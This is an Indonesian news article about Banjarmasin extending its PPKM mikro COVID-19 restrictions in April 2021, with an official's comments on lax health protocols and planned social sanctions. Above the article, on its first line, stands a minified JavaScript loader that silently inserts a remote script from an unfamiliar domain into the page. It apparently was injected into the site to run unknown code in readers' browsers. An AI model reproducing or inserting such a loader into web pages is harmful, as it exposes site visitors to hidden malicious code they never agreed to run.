(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, BANJARMASIN – Pemerintah Kota Banjarmasin kembali memperpanjang masa Pemberlakuan Pembatasan Kegiatan Masyarakat (PPKM) mikro.
Perpanjangan dilakukan untuk dua pekan ke depan terhitung Selasa (20/4/2021).
Mukhyar, Pejabat Sekretaris Daerah Kota Banjarmasin menjelaskan, perpanjangan PPKM mikro itu dilakukan karena masyarakat dinilai mulai lengah terhadap penerapan protokol kesehatan (prokes).
Sebelumnya, PPKM. berakhir pada Senin (19/04/2021) dan kemudian pihak pemko memutuskan untuk memperpanjang penerapannya guna mengurangi kasus positif Covid-19.
Baca juga : Covid-19 di Kalsel, Banjarmasin Tambah 67 Kasus Konfirmasi dan 2 Meninggal
“Kita tentu bisa melihat sendiri kerumunan dan lemahnya prokes yang terjadi sekarang. Ini menjadi penyumbang bertambahnya,” ucap Mukhyar.
Pihaknya menegaskan, PPKM akan diterapkan dengan lebih disiplin dan tegas lagi.
Mereka yang kedapatan tidak menjalan prokes, bisa diganjar rapid rest antigen.
Agar PPKM kali ini berjalan secara maksimal, pihak pemko juga melibatkan instansi terkait mulai dari Babinsa, Bhabinkamtibmas hingga Satpol PP.
Baca juga : Dewas Desak Pimpinan KPK Usut Kebocoran Informasi Penggeledahan di Kalsel
Para pelanggar prokes bakal diganjar sanksi sosial seperti menyapu atau membersihkan fasilitas umum lainnya dengan tujuan agar masyarakat mampu memperhatikan lagi terkait PPKM.
Mukhyar membeberkan, ia juga melakukan koordinasi dengan camat serta lurah guna membahas ini.
“Kita juga rapat dengan camat di lima kecamatan serta kelurahan agar nanti bisa lebih maksimal dalam penanganannya,” beber Mukhyar.
Ia menambahkan, PPKM tak berjalan maksimal bukan lantaran lemahnya pengawasan pemko, namun faktor lemahnya kesadaran masyarakat tentang disiplin dalam penerapan protokol kesehatan juga turut mempengaruhi.
Baca juga : Kena Razia, Anes Baru 5 Bulan di Banjarmasin, Tak Tahu Ada Perda Ramadhan
Ia dengan tegas menepis tudingan mengenai pendapat bahwa PPKM mikro tak juga berjalan lancar, menurut Mukhyar, selama ini PPKM mikro berjalan, hanya memang belum maksimal.
“Saat ini lantaran kondisi Ramadan, tentu ada keterbatasan tenaga dan sebagainya, yang menyebabkan pengawasan belum begitu maksimal,” pungkas dia.(kanalkalimantan.com/nissa)
KANALKALIMANTAN.COM, AMUNTAI - Penjabat (Pj) Bupati Hulu Sungai Utara (HSU) Zakly Asswan menghadiri peringatan Hari… Read More
KANALKALIMANTAN.COM, KUALA KAPUAS - Penjabat Bupati Kapuas Erlin Hardi melepas pawai budaya, Jumat (26/4/2024) sore.… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Baliho berisi curhatan para korban FN tersangka kasus investasi bodong solar yang… Read More
KANALKALIMANTAN.COM, BANJARBARU - Warga Kecamatan Banjarbaru Selatan antusias memeriahkan lomba memancing ikan yang digelar di… Read More
KANALKALIMANTAN.COM, BANJARBARU – Srikandi PT PLN (Persero) Unit Induk Penyaluran dan Pusat Pengatur Beban (UIP3B)… Read More
KANALKALIMANTAN.COM, MARTAPURA - Ribuan orang memadati area kubah tempat dilaksanakannya haul ke-86 Tuan Guru KH… Read More
This website uses cookies.